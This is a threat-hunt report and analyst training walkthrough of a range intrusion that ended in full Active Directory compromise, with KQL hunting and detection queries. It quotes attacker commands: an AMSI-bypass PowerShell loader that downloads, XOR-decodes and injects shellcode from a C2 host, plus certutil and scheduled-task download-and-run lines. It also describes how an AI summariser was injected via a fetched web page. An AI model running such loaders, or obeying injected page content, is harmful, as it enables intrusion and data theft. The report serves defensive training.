

LIVEHUNT 12 // GF-INC-2026-0704

Threat Hunt Field Report & Analyst Walkthrough

Greenfield Logistics — Hands-on-Keyboard Intrusion
& Full Active Directory Domain Compromise

Microsoft Sentinel · KQL · ASIM + Defender XDR (MDE)

THE HUNT — 13 STAGES

- ▶ C01 // Scope & Triage
- ▶ C02 // Initial Access
- ▶ C03 // Execution
- ▶ C04 // Persistence
- ▶ C05 // Privilege Escalation
- ▶ C06 // Defence Evasion
- ▶ C07 // Credential Access
- ▶ C08 // Discovery
- ▶ C09 // Lateral Movement
- ▶ C10 // Command & Control
- ▶ C11 // Collection & Exfiltration
- ▶ C12 // Impact Assessment
- ▶ C13 // Close the Case

Dossier	
Analyst	Aboubacar Sakho — DFIR / Threat Hunt Analyst
Report date	18 July 2026
Incident window	4 Jul 2026 10:00 UTC – 5 Jul 2026 03:00 UTC
Environment	greenfield.local · GF-WS01 · GF-SRV01 · GF-DC01
Workspaces	LAW-SilentCorridor (ASIM) · LAW-Cyber-Range (Defender XDR / MDE)
Adversary profile	Financially-motivated · AdaptixC2 · Impacket · Golden Ticket
Purpose	Live walkthrough · training artifact for new analysts & community

Every finding is cited to its source telemetry table and UTC timestamp. Queries are teaching-grade — verify field names against your own schema before reuse.

How to Read This Document

This is a stage-by-stage reconstruction of a single intrusion, organised the way we tracked it live: thirteen cards, C01 through C13, following the attacker's kill chain from first triage to case closure. Each card is self-contained and follows the same rhythm so you can present it, study it, or teach from it one page at a time:

- ▶ **Objective** — what this stage answers and why it matters.
- ▶ **Approach & strategy** — how an analyst thinks about it: what to look for, what to ignore, which workspace to be in.
- ▶ **KQL** — the actual hunting queries, ready to copy (verify field names against your schema).
- ▶ **What the telemetry showed** — the concrete findings, each cited to a table and UTC timestamp.
- ▶ **Pivot** — the thread we pulled next. This is the muscle to build: every answer should hand you your next question.

The two-workspace strategy

This estate splits its telemetry across two Log Analytics workspaces, and neither alone tells the whole story. Learning to move between them deliberately is half the skill:

Workspace	What lives there	Use it for
LAW-SilentCorridor	ASIM-normalised _CL tables: process, auth, network, DNS, registry, pipe, object-access. Long retention.	Primary reconstruction — the backbone of the timeline.
LAW-Cyber-Range	Defender XDR / MDE: Device* tables, Identity events, and Defender's own alerts. 30-day retention.	Credential-theft, DCSync/Golden-Ticket, exfil, and technique naming.

Rule of thumb we used: **build the spine in SilentCorridor, confirm the crown-jewel stages in Cyber-Range**. Process trees, authentications and network flows came from ASIM; LSASS access, NTDS/DCSync, the Golden Ticket, and Defender's technique labels came from MDE. When a stage was invisible in one, it was almost always waiting in the other.

Three habits that carried the whole hunt

1. **Scope every query.** This is a shared range. Every query was pinned to the three hosts and the incident window. Un-scoped queries drown you in other tenants' noise.
2. **Discover schema, never assume it.** We ran getschema and take 1 before trusting a field name. It saved us twice — the process table stores paths in TargetProcessFilePath, not TargetProcessName, and hosts are FQDNs so has "GF-WS01" works where == "GF-WS01" fails.
3. **Confirm before you conclude.** The range is full of benign churn (reboots, Azure guest-agent Run Command, EDR/Splunk agents) and hundreds of student-authored alert rules. Every finding here was validated against underlying process/auth/network evidence before it earned a place in the timeline.

The Intrusion at a Glance

A financially-motivated actor weaponised Greenfield's internal AI page-summariser to land on GF-WS01, escalated through the estate on reused and stolen credentials, dumped the domain, forged a Kerberos Golden Ticket, and exfiltrated Finance and domain data to attacker cloud storage — all inside one working day. Microsoft Defender auto-contained the workstation, but the domain was already lost.

KILL-CHAIN IN ONE LINE

`python.exe (summariser)` → AMSI-bypass PowerShell → AdaptixC2 → sancadmin recon/persistence → svc_backup → SRV01 → t.harris/Impacket → DC01 → LSASS/NTDS dump → Golden Ticket → exfil.zip → Azure Blob

HOST & INFRASTRUCTURE MAP

Asset	IP	Role	Outcome
GF-WS01	10.1.0.133	Workstation (runs AI summariser)	Patient zero. Contained by Defender.
GF-SRV01	10.1.0.169	File / MS-SQL server (Finance)	Compromised — AdaptixC2, AnyDesk, staging.
GF-DC01	10.1.0.150	Domain Controller	Full domain compromise — Golden Ticket.
10.1.0.120	—	ATTACKER operator / jump box	Hostile — RDP'd into WS01 & SRV01.
GF-BKP01 / GF-WEB01	(discovered)	Backup / web hosts	Probed by attacker — investigate.

CREDENTIALS COMPROMISED

GREENFIELD\sancadmin · GREENFIELD\svc_backup · GREENFIELD\t.harris (password reset) · GREENFIELD\d.williams · krbtgt (Golden Ticket → the entire domain).

C01 // Scope and Triage

ANALYST TRIAGE · workspace discovery · alert reduction · asset mapping

OBJECTIVE

Turn a loud, multi-day alert console into a bounded problem: which tables hold evidence, which hosts are ours, what the earliest suspicious moment is, and where each host actually sits on the network.

APPROACH & STRATEGY

We started blind — 'GF-WS01 is compromised, the other two are unknown.' Before hunting anything we did four things: (1) find which tables even contain our hosts in-window; (2) read the alerts in time order to fix an anchor; (3) map every host to its real internal IP; and (4) let Defender's own alerts tell us which techniques to expect. Crucially, we treated the hourly :53 PowerShell-Download alerts as automation (the summariser), not an attacker — regular-as-clockwork cadence is a tell for a scheduled job, and chasing it would have burned the whole session.

► LAW-SilentCorridor · table discovery

```
// 1) Which tables hold our hosts in-window? (LAW-SilentCorridor)
search "GF-WS01" or "GF-SRV01" or "GF-DC01"
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| summarize Events=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by Table=$table
| sort by Events desc
```

► LAW-SilentCorridor · alert triage

```
// 2) Read the alert queue in time order — find the anchor (LAW-SilentCorridor)
SecurityAlert
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| project TimeGenerated, AlertName, AlertSeverity, ProviderName, Description
| sort by TimeGenerated asc
```

► LAW-SilentCorridor · host ↔ IP map

```
// 3) Map each host to its real internal IP (dominant SrcIpAddress = the host) (LAW-SilentCorridor)
WindowsNetwork_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has_any ("GF-WS01","GF-SRV01","GF-DC01")
| where SrcIpAddress startswith "10.1.0."
| summarize Count=count() by DvcHostname, SrcIpAddress
| sort by DvcHostname asc, Count desc
```

► LAW-Cyber-Range · alert attribution

```
// 4) Let Defender name the techniques, pinned to our hosts (LAW-Cyber-Range)
AlertEvidence
| where TimeGenerated between (datetime(2026-07-04T00:00:00Z) .. datetime(2026-07-05T06:00:00Z))
| where DeviceName has_any ("GF-WS01","GF-SRV01","GF-DC01")
| distinct AlertId, DeviceName
| join kind=inner (AlertInfo | project AlertId, Title, Severity, Category, AttackTechniques, TimeGenerated) on AlertId
| project TimeGenerated, DeviceName, Title, Severity, AttackTechniques
| sort by TimeGenerated asc
```

WHAT THE TELEMETRY SHOWED

- WindowsFile_CL, WindowsProcess_CL, WindowsAuth_CL, WindowsRegistry_CL, WindowsNetwork_CL, WindowsDNS_CL, WindowsPipe_CL and WindowsProcessAccess_CL were all populated — the story would live across all of them.
- Alert anchor: first attacker-attributable alerts clustered from 10:19–11:49; the hourly :53 downloads were flagged as likely-benign automation.
- Host map derived from outbound telemetry: GF-WS01 = 10.1.0.133, GF-SRV01 = 10.1.0.169, GF-DC01 = 10.1.0.150. A fourth address, 10.1.0.120, never appeared as its own device — the attacker's operator box.

- ▶ Defender pre-named the endgame: AdaptixC2, Impacket, LSA secrets theft, Golden Ticket — so we knew what we were hunting toward.

PIVOT →

The earliest attacker alert was already post-compromise persistence (11:49). Something made sancadmin admin before that. Go to the WS01 process tree and find the entry.

C02 // Initial Access

TA0001 · T1566 / T1059 — AI-tool abuse (indirect command injection)

OBJECTIVE

Find the very first malicious execution on GF-WS01 and, more importantly, its parent — the process that spawned it names the entry vector.

APPROACH & STRATEGY

A chronological dump of WS01 drowned us in fresh-profile logon noise (Chrome/Edge installers, WebView2). So we changed tactic twice: first a summarize landscape to see every actor and parent→child pair at a glance, then we filtered to shells and LOLBins and — the key move — we read the *parent* of the first malicious PowerShell. The parent was **python.exe**: the scheduled AI page-summariser. It had fetched an attacker-controlled page and been command-injected. That is the initial-access finding.

► LAW-SilentCorridor · actor/parent landscape

```
// Landscape: every actor + parent->child on WS01, first two hours (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-04T12:00:00Z))
| where DvcHostname has "GF-WS01"
| summarize Events=count(), FirstSeen=min(TimeGenerated) by ActorUsername, ActingProcessFilePath,
TargetProcessFilePath
| sort by FirstSeen asc
```

► LAW-SilentCorridor · initial-access parent

```
// Pin the entry: what did the summariser (python.exe) spawn? (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-04T12:00:00Z))
| where DvcHostname has "GF-WS01"
| where ActingProcessFilePath has "python.exe"
| project TimeGenerated, ActorUsername, ActingProcessFilePath, TargetProcessFilePath, TargetProcessCommandLine
| sort by TimeGenerated asc
```

WHAT THE TELEMETRY SHOWED

- Parent python.exe → powershell -NoP -NonI -W Hidden -Exec Bypass with an AMSI-disable stub and a download from cdn.cloud-endpoint.net (~10:15).
- Network telemetry corroborated it: python.exe and powershell.exe reached cdn.cloud-endpoint.net (172.67.174.46) at 10:15–10:16.
- Field lesson: this custom table populates TargetProcessFilePath / ActingProcessFilePath (the *Name fields were blank) — always confirm with getschema.

WHY IT MATTERS

This is an AI-tool-abuse initial-access vector: a benign automation that fetches web content was tricked into executing it. Treat any tool that ingests untrusted external content as an attack surface.

C03 // Execution

TA0002 · T1059.001 PowerShell · T1055 Process Injection

OBJECTIVE

Understand what actually ran on the box: the loader, the payload, and how it executed in memory.

APPROACH & STRATEGY

With the entry point known, we widened to all shells and LOLBins on WS01 across the full window and read the command lines. The loader chain was textbook fileless execution: disable AMSI, download a blob, XOR-decode it, and inject it via reflectively-compiled Add-Type [DllImport]. Defender independently named the family: AdaptixC2.

► LAW-SilentCorridor · execution / LOLBins

```
// Shells & LOLBins on WS01 across the whole window (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has "GF-WS01"
| where TargetProcessFilePath has_any ("powershell", "cmd.exe", "certutil", "rundll32", "mshta", "wscript")
| project TimeGenerated, ActorUsername, ActingProcessFilePath, TargetProcessFilePath, TargetProcessCommandLine
| sort by TimeGenerated asc
```

WHAT THE TELEMETRY SHOWED — THE LOADER (VERBATIM, ABBREVIATED)

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$a.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) // AMSI off
$url='https://cdn.cloud-endpoint.net/update'; $key=0x4A
$enc=(New-Object System.Net.WebClient).DownloadData($url)
$sc=[byte[]]($enc | ForEach-Object { $_ -bxor $key }) // XOR decode
Add-Type -MemberDefinition '[DllImport(...)]' ... // inject shellcode
```

WHAT THE TELEMETRY SHOWED

- Second-stage payload also pulled via certutil -urlcache -split -f https://cdn.cloud-endpoint.net/update C:\Windows\Temp\svchost_upd.exe.
- Defender (Cyber-Range): 'AdaptixC2' backdoor detected, process injected with malicious code, PsAttack / Ceprolad on GF-WS01.
- The recurring SYSTEM-level PowerShell we later saw was this loader running from the persistence — not a second intruder.

PIVOT →

A hands-on operator who just injected a C2 will pin access next. Hunt persistence.

C04 // Persistence

TA0003 · T1053 Scheduled Task · T1547 Run Key · T1543.003 Service

OBJECTIVE

Enumerate every foothold the attacker planted so remediation can pull them all — miss one and they walk back in.

APPROACH & STRATEGY

Persistence shows up as specific verbs in command lines (schtasks /create, reg add ...\\Run, sc), so we filtered process telemetry for those and cross-checked the registry and service tables. The naming was deliberate masquerade — 'MicrosoftHealthUpdate', 'WindowsHealthService', a hijacked 'GFUpdaterSvc' — chosen to blend into a sysadmin's glance.

► LAW-SilentCorridor · persistence

```
// Persistence verbs in process command lines (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has "GF-WS01"
| where TargetProcessCommandLine has_any ("schtasks","New-ScheduledTask","reg add","RunOnce",
    "\\CurrentVersion\\Run","sc ","GFUpdater","New-Service")
| project TimeGenerated, ActorUsername, TargetProcessFilePath, TargetProcessCommandLine
| sort by TimeGenerated asc
```

► LAW-SilentCorridor · Run-key registry

```
// Corroborate the autorun key directly (LAW-SilentCorridor — verify field names via getschema)
WindowsRegistry_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has "GF-WS01"
| where RegistryKey has "CurrentVersion" and RegistryKey has "Run"
| project TimeGenerated, ActorUsername, RegistryKey, RegistryValueName, RegistryValueData
```

WHAT THE TELEMETRY SHOWED — THREE INDEPENDENT FOOTHOLDS

- **Scheduled Task:** schtasks /create /tn MicrosoftHealthUpdate /tr powershell ... IEX(New-Object Net.WebClient).DownloadString('https://cdn.cloud-endpoint.net/loader') /sc onlogon /ru SYSTEM.
- **Run key:** HKLM\...\CurrentVersion\Run\WindowsHealthService → the same loader.
- **Service hijack:** sc stop GFUpdaterSvc → overwrite C:\ProgramData\GFUpdater\gfupdater.exe with the payload → sc start GFUpdaterSvc.
- Later, on SRV01: AnyDesk installed as a service for durable RMM access (Defender: 'Remote access tool').

C05 // Privilege Escalation

TA0004 · T1078 Valid Accounts · SYSTEM via service/task · domain admin

OBJECTIVE

Establish what privileges the attacker held and how they climbed — local user → SYSTEM → domain admin → domain-wide.

APPROACH & STRATEGY

Escalation here was less exploit, more identity. The persistence ran /ru SYSTEM, giving SYSTEM on WS01. The interactive operator account sancadmin appeared both as GF-WS01\sancadmin (local) and GREENFIELD\sancadmin (domain) — a privileged identity. We used the auth table to characterise it, and the true ceiling came later with the Golden Ticket (C07/C12): once krbtgt is forged, privilege is unbounded.

► LAW-SilentCorridor · privileged identity

```
// Characterise the operator account across hosts (LAW-SilentCorridor)
WindowsAuth_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where TargetUsername has "sancadmin"
| summarize Count=count(), First=min(TimeGenerated), Last=max(TimeGenerated)
  by TargetDomain, DvcHostname, LogonType, EventResult, EventResultDetails
| sort by First asc
```

WHAT THE TELEMETRY SHOWED

- Persistence executed as SYSTEM (scheduled task /ru SYSTEM + service context) — SYSTEM-level code execution on WS01.
- sancadmin seen as both local (GF-WS01\) and domain (GREENFIELD\) — the primary hands-on-keyboard admin identity.
- The real escalation ceiling was the Golden Ticket on the DC — see C07 and C12 — which grants the authority of any account, including Domain Admins, at will.

TEACHING NOTE

Modern intrusions escalate through credentials, not CVEs. The privilege story is an identity story — follow the accounts.

C06 // Defence Evasion

TA0005 · T1562 Impair Defenses · T1140 De-obfuscate · T1036 Masquerade

OBJECTIVE

Show how the attacker tried to stay quiet: what they turned off, what they obfuscated, and what they disguised.

APPROACH & STRATEGY

We hunted the evasion primitives directly — AMSI patching, Defender feature tampering, XOR/base64 de-obfuscation — in command lines, and let Defender confirm the tamper events. Evasion is also where masquerade lives: benign-sounding task/service/file names (svchost_upd.exe, 'MicrosoftHealthUpdate') are themselves an IOC pattern.

► LAW-SilentCorridor · impair defenses

```
// Evasion primitives in command lines (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has_any ("GF-WS01","GF-SRV01","GF-DC01")
| where TargetProcessCommandLine has_any ("amsiInitFailed","AmsiUtils","-bxor","FromBase64String",
    "DisableRealtimeMonitoring","Set-MpPreference","Add-MpPreference -ExclusionPath")
| project TimeGenerated, DvcHostname, ActorUsername, TargetProcessCommandLine
| sort by TimeGenerated asc
```

► LAW-Cyber-Range · Defender tamper events

```
// Defender's own tamper / AMSI detections (LAW-Cyber-Range)
DeviceEvents
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DeviceName has_any ("GF-WS01","GF-DC01")
| where ActionType has_any ("Amsi","Tamper","DefenderConfig","Antivirus","ExclusionsChange")
| project TimeGenerated, DeviceName, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine
```

WHAT THE TELEMETRY SHOWED

- **AMSI bypass** — amsiInitFailed = \$true patched in the loader (Defender: 'Possible AMSI tampering' ×13 on WS01).
- **Defender tamper** — Defender alert 'Defender tamper: FeatureDisable by GF-WS01\$' (T1562).
- **Obfuscation** — XOR key 0x4A over downloaded shellcode; masqueraded names (svchost_upd.exe, 'WindowsHealthService', 'GFUpdaterSvc').

C07 // Credential Access

TA0006 · T1003 OS Credential Dumping · T1552 Unsecured Creds

OBJECTIVE

Determine which credentials the attacker harvested and how — this is what turned one box into the whole domain.

APPROACH & STRATEGY

Two layers. On WS01 the actor read credentials the easy way (cached creds, PowerShell history) and specifically profiled the backup service account. On the DC the heavy dumping (LSA secrets, SAM, NTDS) was largely invisible in ASIM — this is exactly where we crossed to Cyber-Range, using WindowsProcessAccess_CL (handle access to lsass) and Defender's identity alerts.

► LAW-SilentCorridor · soft cred access

```
// WS01: soft credential access + service-account profiling (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has "GF-WS01"
| where TargetProcessCommandLine has_any ("Get-ADUser","cmdkey /list","ConsoleHost_history",
    "sekurlsa","comsvcs","lsass")
| project TimeGenerated, ActorUsername, TargetProcessCommandLine
| sort by TimeGenerated asc
```

► LAW-Cyber-Range · LSASS handle access

```
// DC/WS: who opened a handle to LSASS? (LAW-Cyber-Range — the 'only-in-MDE' stage)
WindowsProcessAccess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has_any ("GF-WS01","GF-DC01")
| where TargetProcessFilePath has "lsass"
| project TimeGenerated, DvcHostname, ActorUsername, ActingProcessFilePath, TargetProcessFilePath
| sort by TimeGenerated asc
```

WHAT THE TELEMETRY SHOWED

- Get-ADUser svc_backup -Properties Description,ServicePrincipalNames — profiling the backup account's SPNs/description for reuse.
- Read cmdkey /list and ConsoleHost_history.txt (PowerShell history) for stored secrets.
- Defender (DC01): 'Indication of local security authority secrets theft' — T1003.002 SAM + T1003.004 LSA Secrets; NTDS harvested via Impacket (see C09).

PIVOT →

With svc_backup profiled and secrets dumped, the next move is reuse against another host. Follow the authentications.

C08 // Discovery

TA0007 · T1087 Account · T1018 Remote System · T1069 Groups

OBJECTIVE

Recover the attacker's map of the environment — the same recon they ran tells us where they intended to go next.

APPROACH & STRATEGY

Discovery is a keyword hunt across process command lines on all three hosts. It doubles as a scoping tool for us: their Test-NetConnection sweep revealed hosts we hadn't been told about (GF-BKP01, GF-WEB01), and their repadmin / AD enumeration on the DC was the reconnaissance that precedes DCSync.

► LAW-SilentCorridor · discovery

```
// Recon verbs across all three hosts (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has_any ("GF-WS01","GF-SRV01","GF-DC01")
| where TargetProcessCommandLine has_any ("whoami","net view","net group","net localgroup",
    "arp -a","nltest","Get-ADUser","Get-ADComputer","Get-ADGroup","repadmin","Test-NetConnection")
| project TimeGenerated, DvcHostname, ActorUsername, TargetProcessCommandLine
| sort by TimeGenerated asc
```

WHAT THE TELEMETRY SHOWED

- Local recon on WS01: whoami, net user/localgroup administrators, net view, arp -a, ipconfig.
- Network sweep from the DC: Test-NetConnection GF-SRV01:3389, GF-BKP01:3389, GF-WEB01:22 — discovery of two out-of-scope hosts.
- Domain enumeration: Get-ADUser/Group/Computer + repadmin /replsummary (run by d.williams) — DCSync groundwork.

C09 // Lateral Movement

TA0008 · T1021 Remote Services · T1550 Alt Auth · Impacket

OBJECTIVE

Reconstruct the hop chain host-to-host and prove which credential carried each hop — the backbone of the whole timeline.

APPROACH & STRATEGY

Authentication telemetry is the spine. We summarised every logon for the key accounts by result, logon type, source IP and target host — a failure-then-success pattern is a password spray landing. This is where the host ↔ IP map from C01 pays off: source IPs turn abstract logons into concrete hops. Defender then confirmed the technique as Impacket remote-service execution on the DC.

► LAW-SilentCorridor · auth / lateral movement

```
// The credential/hop map — read failures then successes (LAW-SilentCorridor)
WindowsAuth_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has any ("GF-WS01","GF-SRV01","GF-DC01")
| where TargetUsername has any ("svc_backup","t.harris","sancadmin","d.williams")
| summarize Count=count(), First=min(TimeGenerated), Last=max(TimeGenerated)
  by TargetUsername, EventResult, EventResultDetails, LogonType, SrcIpAddr, DvcHostname
| sort by First asc
```

► LAW-SilentCorridor · credential reuse

```
// The reuse itself: net use to a remote C$ (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where TargetProcessCommandLine has "net use" and TargetProcessCommandLine has "svc_backup"
| project TimeGenerated, DvcHostname, ActorUsername, TargetProcessCommandLine
```

WHAT THE TELEMETRY SHOWED — THE CHAIN

- **Operator 10.1.0.120** → RDP (Type-10) into WS01 and SRV01.
- **WS01 → SRV01**: svc_backup sprayed 3 passwords (VeeamBackup2026!, BackupAdmin2025!, Greenfield2024); failures at 11:29, SUCCESS Type-3 at 12:00:19 from 10.1.0.133.
- **SRV01 → DC01**: t.harris (password reset to 'Summer2025') — 166 Type-3 logons to DC01 from 10.1.0.169; plus svc_backup SUCCESS to DC01 at 15:47 from the operator box.
- Defender (DC01): 'Ongoing hands-on-keyboard attack via Impacket toolkit', 'RemoteExec' malware — SMB/WMI/service remote execution.

C10 // Command and Control

TA0011 · T1071 App-Layer · T1219 Remote Access · T1105 Ingress

OBJECTIVE

Identify every channel the attacker used to command the estate and stage tools — needed to block infrastructure and scope dwell time.

APPROACH & STRATEGY

We pulled non-baseline egress from the MDE network table and DNS from ASIM, filtering the ocean of legitimate Microsoft/Google traffic down to the processes that matter — powershell, python, rundll32, certutil. The disciplined move is to filter by initiating process, not just destination.

► LAW-Cyber-Range · C2 egress

```
// Non-baseline egress by suspicious processes (LAW-Cyber-Range)
DeviceNetworkEvents
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DeviceName has_any ("GF-WS01","GF-DC01")
| where InitiatingProcessFileName in~ ("powershell.exe","python.exe","rundll32.exe","certutil.exe","cmd.exe")
| summarize Count=count(), First=min(TimeGenerated), Last=max(TimeGenerated)
  by RemoteUrl, RemoteIP, InitiatingProcessFileName, RemotePort
| sort by First asc
```

► LAW-SilentCorridor · C2 DNS

```
// DNS view of the C2 domains (LAW-SilentCorridor)
WindowsDNS_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has_any ("GF-WS01","GF-DC01")
| where DnsQuery has_any ("cloud-endpoint","lognpacific","blob.core")
| project TimeGenerated, DvcHostname, DnsQuery
```

WHAT THE TELEMETRY SHOWED

- **Primary C2:** cdn.cloud-endpoint.net / api.cloud-endpoint.net (Cloudflare-fronted: 172.67.174.46, 104.21.30.237) — loader + stage-2.
- **AdaptixC2 beacon:** rundll32.exe → 57.155.101.212:443.
- **RMM channel:** AnyDesk service on SRV01 (Defender: 'Uncommon remote access software').
- A DNS beacon blended C2 lookups with legit domains (google.com; outlook.office.com; lognpacific...).

C11 // Collection and Exfiltration

TA0009 / TA0010 · T1005 · T1074 · T1560 · T1567.002

OBJECTIVE

Prove what was taken and where it went — the facts that convert 'incident' into 'reportable breach'.

APPROACH & STRATEGY

Collection and exfil are a verb chain: gather → stage → archive → upload. We hunted the verbs (Copy-Item, robocopy, Compress-Archive) in process telemetry, then followed the archive out through the network table. The destination is the money shot.

► LAW-SilentCorridor · collection & staging

```
// Collection / staging / archiving verbs (LAW-SilentCorridor)
WindowsProcess_CL
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DvcHostname has_any ("GF-WS01","GF-SRV01","GF-DC01")
| where TargetProcessCommandLine has_any ("Compress-Archive","robocopy","Copy-Item","exfil","staged","Finance")
| project TimeGenerated, DvcHostname, ActorUsername, TargetProcessCommandLine
| sort by TimeGenerated asc
```

► LAW-Cyber-Range · exfil destination

```
// Where did the archive go? Follow the upload (LAW-Cyber-Range)
DeviceNetworkEvents
| where TimeGenerated between (datetime(2026-07-04T10:00:00Z) .. datetime(2026-07-05T03:00:00Z))
| where DeviceName has_any ("GF-WS01","GF-DC01")
| where RemoteUrl has "blob.core.windows.net"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort
| sort by TimeGenerated asc
```

WHAT THE TELEMETRY SHOWED

- **Collect:** Copy-Item \\GF-SRV01\Finance\Invoices\...; Robocopy recursive staging on SRV01 (12:53, 15:54, 18:54).
- **Stage + archive:** data gathered to C:\Windows\Temp\staged → Compress-Archive → C:\Windows\Temp\exfil.zip (15:14).
- **Exfiltrate:** powershell.exe upload to sanclogicart14191.blob.core.windows.net (20.209.179.65) at 19:34–19:46 — attacker Azure Blob.
- Defender: 'Suspicious Network Beaconing ... Exfiltration Over C2 Channel' (T1041) ×30 on WS01.

C12 // Impact Assessment

TA0040 · T1558.001 Golden Ticket · domain-wide compromise

OBJECTIVE

State the business truth plainly: how deep, how bad, and what the organisation must now assume.

APPROACH & STRATEGY

Impact is judgement built on evidence. We anchored it to the single most severe, host-attributed Defender finding — the Golden Ticket on the DC — and reasoned outward. A forged krbtgt ticket is the deepest possible outcome: it lets the attacker mint tickets for any principal, so password resets alone will not evict them.

► LAW-Cyber-Range · impact confirmation

```
// The crown-jewel alerts, pinned to the DC (LAW-Cyber-Range)
AlertInfo
| where TimeGenerated between (datetime(2026-07-04T00:00:00Z) .. datetime(2026-07-05T06:00:00Z))
| where Title has_any ("Golden Ticket","secrets theft","Impacket","RemoteExec","hands-on-keyboard")
| join kind=inner (AlertEvidence | distinct AlertId, DeviceName) on AlertId
| where DeviceName has "GF-DC01"
| project TimeGenerated, DeviceName, Title, Severity, AttackTechniques
| sort by TimeGenerated asc
```

ASSESSMENT

- **Domain-wide compromise:** Golden Ticket / krbtgt — the attacker can authenticate as any user or service in greenfield.local until krbtgt is rotated twice.
- **Confirmed data breach:** Finance and domain data staged, archived and exfiltrated off-network.
- **Durable, multi-layer access:** scheduled task, Run key, hijacked service, AnyDesk RAT, plus forged tickets.
- **Blast radius beyond scope:** GF-BKP01 and GF-WEB01 discovered and probed.

BOTTOM LINE

Treat this as a full domain breach with confirmed exfiltration. Containing WS01 does not contain the domain — the Golden Ticket and stolen credentials work from anywhere.

C13 // Close the Case

CASE CLOSURE · remediation · detections · handover

OBJECTIVE

Convert findings into action: contain, evict, recover, and hand the defender reusable detections so this can't recur silently.

Remediation — priority order

1. **Rotate the krbtgt password TWICE** (with the required interval) to invalidate the Golden Ticket. Single most important action.
2. **Isolate & rebuild GF-DC01 and GF-SRV01 from known-good media** — do not trust cleanup on a compromised DC.
3. **Force a domain-wide credential reset:** sancadmin, svc_backup, t.harris, d.williams, all service accounts and local admins; retire the exposed passwords.
4. **Remove persistence:** task 'MicrosoftHealthUpdate', Run key 'WindowsHealthService', service 'GFUpdaterSvc', AnyDesk on SRV01.
5. **Block infrastructure:** cloud-endpoint.net, 172.67.174.46, 104.21.30.237, 57.155.101.212, sanclogicart14191.blob.core.windows.net; alert on 10.1.0.120.
6. **Fix the root cause:** sandbox / de-privilege the AI summariser so fetched web content can never influence execution; investigate GF-BKP01 / GF-WEB01; verify backups are offline & immutable.

Handover — reusable detections (starter pack)

```
// D1: any LLM/automation tool spawning a shell (initial-access vector)
WindowsProcess_CL
| where ActingProcessFilePath has_any ("python.exe","node.exe","summar")
| where TargetProcessFilePath has_any ("powershell","cmd.exe","pwsh")
| project TimeGenerated, DvcHostname, ActorUsername, ActingProcessFilePath, TargetProcessCommandLine

// D2: AMSI tampering / fileless loader signatures
WindowsProcess_CL
| where TargetProcessCommandLine has_any ("amsiInitFailed","AmsiUtils","-bxor","FromBase64String")
| project TimeGenerated, DvcHostname, ActorUsername, TargetProcessCommandLine

// D3: svc/admin auth failure-then-success (spray landing) + rare source IPs
WindowsAuth_CL
| where TargetUsername has_any ("svc_","admin")
| summarize Fail=countif(EventResult=='Failure'), Ok=countif(EventResult=='Success'),
  Sources=make_set(SrcIpAddr,8) by TargetUsername, DvcHostname, bin(TimeGenerated,10m)
| where Fail>0 and Ok>0

// D4: exfil to unsanctioned cloud storage
DeviceNetworkEvents
| where RemoteUrl has_any ("blob.core.windows.net","s3.amazonaws.com","storage.googleapis.com")
| where InitiatingProcessFileName in~ ("powershell.exe","curl.exe","python.exe","rundll32.exe")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP
```

Case metrics

Metric	Value
First malicious execution	~10:15 UTC, 4 Jul 2026 (GF-WS01, via python.exe)
Domain compromise (Golden Ticket)	~15:xx UTC, 4 Jul 2026 (GF-DC01)
Exfiltration	19:34–19:46 UTC, 4 Jul 2026 (Azure Blob)
Attacker dwell (in-window)	~10 hours from foothold to exfil

Metric	Value
Hosts compromised	3 in-scope (WS01, SRV01, DC01) + 2 probed (BKP01, WEB01)
Credentials burned	5 accounts incl. krbtgt → whole domain
Analyst verdict	P1 — full domain breach, exfiltration confirmed

Appendix A — Master Timeline (UTC)

